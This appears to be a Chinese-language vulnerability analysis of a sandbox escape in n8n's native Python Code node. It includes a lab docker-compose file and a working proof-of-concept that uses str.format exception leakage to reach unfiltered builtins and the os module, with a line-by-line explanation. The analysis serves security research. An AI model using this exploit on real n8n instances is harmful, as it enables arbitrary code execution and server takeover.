n8n Python 最新沙箱逃逸漏洞分析

漏洞描述

n8n 是一个开源的工作流自动化工具,允许用户通过可视化界面创建和执行自动化任务。n8n 提供了 Python 代码执行功能,允许用户在工作流中编写和运行 Python 代码。

我们发现 n8n 的 Python 任务执行器存在沙箱逃逸漏洞。通过利用 Python 字符串格式化的异常处理机制,攻击者可以绕过 n8n 设置的沙箱限制,访问被过滤的内置函数(builtins),进而导入任意 Python 模块(如 os、subprocess 等),在底层系统中执行任意无限制的 Python 代码。

该漏洞可被持有基本权限的认证用户通过代码节点利用。在"内部"执行模式下,可能导致 n8n 实例被全面接管。如果实例运行在"外部"执行模式(例如 n8n 的官方 Docker 镜像),任意代码执行发生在 Sidecar 容器内,影响相对较小。

环境搭建

我修改了配置,按照描述,应该是这个意思
docker-compose.yml 配置:

services:
  n8n:
    image: ghcr.io/n8n-io/n8n:1.116.0
    environment:
      - N8N_RUNNERS_ENABLED=true
      - N8N_RUNNERS_MODE=external
      - N8N_NATIVE_PYTHON_RUNNER=true
    ports:
      - "5678:5678"

  runners:
    image: ghcr.io/n8n-io/runners:1.116.0
    environment:
      - N8N_RUNNERS_TASK_BROKER_URI=http://n8n:5679

我也没有深入分析,如果使用 bete 去执行,是会失败的,需要开启 N8N_NATIVE_PYTHON_RUNNER=true,才能够使用 NATIVE 执行器,我理解的外部执行模式,应该是这个意思

报告也是说需要在 NATIVE 下执行

漏洞复现

复现步骤

在 Code 节点中:

  • 选择语言: Python (Native)
  • 选择模式: Run Once for All Items
  • 输入以下 PoC 代码:
def new_getattr(obj, attribute):
    fmt = "{" + "0." + attribute + ".ribbit" + "}"
    try:
        fmt.format(obj)
    except AttributeError as e:
        return e.obj

try:
    raise ValueError("pwn")
except Exception as e:
    tb = new_getattr(e, "__traceback__")
    frame = new_getattr(tb, "tb_frame")
    builtins_dict = new_getattr(frame, "f_builtins")

    us = chr(95)
    imprt = builtins_dict[us + us + "import" + us + us]

    import_globals = new_getattr(imprt, "__globals__")
    os = import_globals["os"]

    result = {
        "vulnerable": True,
        "system": os.uname().sysname,
        "node": os.uname().nodename,
        "release": os.uname().release,
        "machine": os.uname().machine
    }
    return [{"json": result}]


漏洞分析

代码分析

沙箱实现

n8n 的 Python 沙箱实现位于 task-runner-python/src/task_executor.py。

文件位置: task-runner-python/src/task_executor.py

@staticmethod
def _filter_builtins(security_config: SecurityConfig):
    """Get __builtins__ with denied ones removed."""

    if len(security_config.builtins_deny) == 0:
        filtered = dict(__builtins__)
    else:
        filtered = {
            k: v
            for k, v in __builtins__.items()
            if k not in security_config.builtins_deny
        }

    filtered["__import__"] = TaskExecutor._create_safe_import(security_config)

    return filtered

n8n 通过过滤 __builtins__ 来限制我们代码可以使用的内置函数。被过滤的函数包括 eval、exec、compile、open 等危险函数,并且 __import__ 被替换为一个安全的导入函数。

而且我们的代码在受限的全局命名空间中执行

globals = {
    "__builtins__": TaskExecutor._filter_builtins(security_config),
    "_items": items,
    "print": TaskExecutor._create_custom_print(print_args),
}

exec(compiled_code, globals)

payload 实现分析

理解这个沙箱,关键就是 payload 为什么需要这样写?

为什么需要抛出异常,为什么需要访问字符串?核心就一个点,我要获取到没有限制的 __builtins__,这样不就没有过滤了吗

绕过黑名单第一就是硬刚,我们就找没有被 ban 掉的,还可以执行命令的,然后去尝试

还有就是我们这种,我不走这条路,换一条新的路走,理解了原理就非常简单了

虽然 n8n 过滤了直接可访问的 __builtins__,但 Python 的字符串格式化机制在处理格式化错误时会抛出异常,而这些异常对象携带了完整的执行上下文信息

当我们使用 "{0.attribute.ribbit}".format(obj) 尝试访问不存在的属性时,Python 会抛出 AttributeError 异常。关键在于,这个异常对象的 obj 属性包含了格式化过程中成功访问的最后一个对象。

我们来一步一步解释 payload


  1. 触发异常获取 traceback
def new_getattr(obj, attribute):
    fmt = "{" + "0." + attribute + ".ribbit" + "}"
    try:
        fmt.format(obj)
    except AttributeError as e:
        return e.obj

当 format() 尝试访问 obj.attribute.ribbit 时:尝试访问 .ribbit 失败(不存在)那么就会抛出 AttributeError,其中 e.obj 包含成功访问的 obj.attribute

try:
    raise ValueError("pwn")
except Exception as e:
    tb = new_getattr(e, "__traceback__")
    

  1. 从 traceback 获取 frame
frame = new_getattr(tb, "tb_frame")

  1. 从 frame 获取未过滤的 builtins
builtins_dict = new_getattr(frame, "f_builtins")

这里的 f_builtins 是 Python 解释器内部的原始 builtins,没有经过 n8n 的过滤。

  1. 获取 import 函数
us = chr(95)
imprt = builtins_dict[us + us + "import" + us + us]

  1. 从 import 的 globals 获取 os 模块
import_globals = new_getattr(imprt, "__globals__")
os = import_globals["os"]

有了 os 模块,就可以执行任意代码了

​

这个是我直接在python代码中调试的,原理就是这么个原理

漏洞修复

根据报告

根据这个报告,还未修复


参考资料

免责声明

本报告仅用于安全研究和教育目的,作者不对任何滥用本报告内容造成的后果负责

如果有错,还请大佬们指正